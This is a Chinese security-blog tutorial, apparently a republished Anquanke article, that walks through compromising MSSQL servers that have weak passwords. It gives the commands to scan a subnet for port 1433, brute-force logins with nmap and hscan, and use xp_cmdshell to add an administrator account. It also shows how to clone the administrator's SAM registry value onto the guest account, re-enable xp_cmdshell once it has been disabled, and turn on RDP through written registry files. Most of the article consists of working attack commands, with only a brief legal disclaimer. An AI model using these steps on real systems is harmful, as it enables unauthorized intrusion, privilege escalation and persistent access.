Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

$
0
0
【技术分享】针对mssql弱口令实战流程梳理与问题记录

2017-06-05 09:56:20

阅读:584次
点赞(0)
收藏
来源: 安全客





【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

作者:myles007





【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

作者:myles007

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


1. 端口发现

1.1. 常用工具推荐

常用端口扫描工具,其实很多这里不做过多的说明,本人还是以经典好用的nmap进行实际操练。

nmap

nmap工具的下载,请直接去其官方网站下载即可。

ssport

ssport 是个简单快速的图形化端口扫描工具。

1.2. nmap端口扫描

我们现在进行整个网段的TCP 1433端口扫描,探测下开启了1433端口的服务器地址,具体端口扫描命令如下:

nmap-p1433--openx.x.x.0/24

扫描结果截图如下:


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

通过以上nmap的扫描发现,本目标网段存在4台主机开启了远程1433端口服务。


2. 弱口令爆破

2.1. 常用工具推荐

x-scan

hscan

nmap

x-scan 与hscan两款工具(x-scan & hscan)都是自带字典的图形化常见应用的扫描检测工具,他们各自支持扫描检测的应用类型非常丰富,具体的情况这里也不做过多的赘述,我这里仅以hscan和nmap作为实操工具分别进行演练。

2.2. Nmap 弱口令爆破

Nmap 扫描器功能之强大,这里肯定不需要我等小菜过多的说明了,我这里只简单的说下Nmap强大的扫描脚本的使用方法。其实使用也是非常方便的,只要我们找到相应的脚本,直接以文本编辑模式打开脚本,就可以找到具体的使用方法,后面会详细演示给大家,具体过程如下。

2.2.1. 查找ms-sql暴力破击脚本

Nmap的所有相关扫描脚本都存放在Nmap安装目录下的“script”目录下,在我们进入“script”目录后,直接查找ms-sql关键字就可以找到所有与ms-sql相关的扫描脚本,这里我们使用脚本“ms-sql-brute”这个ms-sql暴力爆破模块,其实我们从它的名字也能猜到本模块的功能。


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.2.2. 查看ms-sql-brute脚本使用方法

在查找到nmap脚本后,我们可以直接以文本编辑的模式打开脚本,我们看文本中有个一个单词“@usage”,其实就是使用方法了,在使用方法中已经给出了详细的使用案例,我们直接复制出来,然后在CMD下直接进行修改后即可使用了。


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.2.3. 调用ms-sql-brute脚本进行扫描

竟然是进行ms-sql登录口令的暴力破解,自然就是要用到字典了,有关弱口令字典的内容需要我们自行去收集了,很多的一些扫描工具中都会字典部分弱口令字典,大家平时也可以收集整理起来,以备使用。

那么接下来,我们直接参考扫描脚本中的案例,直接修改了字典的名称和扫描目标即可下发扫描任务了。以下截图分别给出了“单个主机”和“主机列表”的扫描过程截图。


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3. hscan 弱口令爆破

2.3.1. 配置扫描模块

通过“菜单”-“参数”指定MSSQL 弱口令检查;


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3.2. 配置扫描参

通过“菜单”-“参数”浏览指定前面发现地址列表。


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3.3. 发起扫描任务


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3.4. 扫描结果


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3. MSSQL 入侵

至此,我们已经完成对网络中存在弱口令的ms-sql服务的安全扫描检查工作,接下来要进入到真正的入侵渗透压轴大戏了。

3.1. 数据库查询工具推荐

下面分别给大家贴出两个mssql查询分析工具的下载链接,请大家对于工具的使用要慎重,千万不要不要用于非法的攻击行为。网络安全即将发布了,请大家做个遵纪守法的小伙伴。

1) MSSQL 查询分析器

云盘下载:http://pan.baidu.com/s/1slK0tbf密码:0bdb

2) MSSQL 执行器

下载地址:

http://xiaowang.blog.51cto.com/attachment/200902/1083_1233814542.rar

3) Nmap 脚本连接

对于nmap的使用,我们同样可以使用其提供的ms-sql-xp-cmdshell脚本直接进行提权操作。

3.2. 连接登录数据

我这里演示,使用mssql查询分析器,使用过程中发现比较稳定些,也推荐给大家。现在直接使用mssql分析连接数据库。


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.3. 添加系统账号并提权

3.3.1. 第一步:使用xp_cmdshell添加普通账号test

添加账号:

xp_cmdshell‘netusertest123/add’
【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.3.2. 第二步:使用xp_cmdshell进行test用户提权

提权语句:

xp_cmeshell‘netlocalgroupadministratorstest/add’
【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.3.3. 第三步:查询用户提权情况

用户查询:

xp_cmdshell‘netusertest’
【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.4. 查询3389端口是否开启


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.5. 维持访问

对于如何保持访问,我们可以通过“破解系统超级管理员密码”或“克隆系统管理员权限”都可以,这里为了对前面学习的新技能进行回顾,我这里使用xp_regread与xp_regwrite进行administrator账户进行权限克隆的实操演示。

3.5.1. 第一步:查询administrator账号的value值

xp_regread'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

3.5.2.第二步:将administrator账号的value值赋给guest

xp_regwrite'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......

3.5.3.第三步:启用guest账户并提权

windows2000以上的系统环境,guest用户必须在“Remote Desk Users”以上权限的用户组中,才允许你远程登录系统,故需要将guest用户添加到超级用户管理组中。

我们直接使用xp_cmdshell存储过程进行guest普通账号的提权,具体命令如下。

注:前面分享的原理性文章中已经补充说明过,windows2000系统是无需进行这里的第三步的操作。


4. 常见问题记录

最后对于个人在实际渗透中遇到的各种的问题进行下小结,并将解决问题的实操方法与情况记录如下,分享于大家。

4.1. 存储过程不能调用

4.1.1. 如果提示xp_cmdshell被删除了怎么办?

运行以下语句进行恢复:

execsp_addextendedproc'xp_cmdshell','Xplog70.dll'

4.1.2.如果提示xp_cmdshell被停用户怎么办法

运行以下语句进行恢复:

EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;

4.2. 3389服务关闭了怎么办?

4.2.1. Windows 2003环境RDP服务开启

执行以下命令查看语句,检查c:\更目录是否有windows目录,如果有则说明当前系统为windows 2003系统及以上系统。

execmaster..xp_cmdshell'dirc:\'

随后我们再执行以下语句进3389端口服务的开启。

execmaster..xp_cmdshell'echoWindowsRegistryEditorVersion5.00>>3389.reg' execmaster..xp_cmdshell'echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer]>>3389.reg' execmaster..xp_cmdshell'echo"fDenyTSConnections"=dword:00000000>>3389.reg' execmaster..xp_cmdshell'echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp]>>3389.reg' execmaster..xp_cmdshell'echo"PortNumber"=dword:00000d3d>>3389.reg' execmaster..xp_cmdshell'echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp]>>3389.reg' execmaster..xp_cmdshell'echo"PortNumber"=dword:00000d3d>>3389.reg' execmaster..xp_cmdshell'regedit/s3389.reg'

注:已经验证语句执行完毕后,无需重启,即可直接远程登录。

4.2.2. windows 2000环境RDP服务开启

看看根目录下如果有WINNT目录,则一般是win2000,随后再执行下面的语句来开启其3389服务。

execmaster..xp_cmdshell'dirc:\' execmaster..xp_cmdshell'echo[Components]>c:\winnt\3389' execmaster..xp_cmdshell'echoTSEnable=.>>c:\winnt\3389' execmaster..xp_cmdshell·'sysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\winnt\3389/q'

注:window 2000系统需要重启后,配置才能生效。

4.3. 使用3389连接时,提示连接用户必须有远程连接的权限怎么办?

直接将测试用户添加到“administrators”用户组,执行语句如下:

execmaster..xp_cmdshell'netlocalgroupadministratorstest/add'

4.4. 连接3389,提示连接用户已满怎么办?

可以直接在“运行”中执行以下命令来调用“远程桌面管理工具”:

mstsc/admin
【技术分享】针对MSSQL弱口令实战流程梳理与问题记录


【技术分享】针对MSSQL弱口令实战流程梳理与问题记录
【技术分享】针对MSSQL弱口令实战流程梳理与问题记录
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3932.html

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images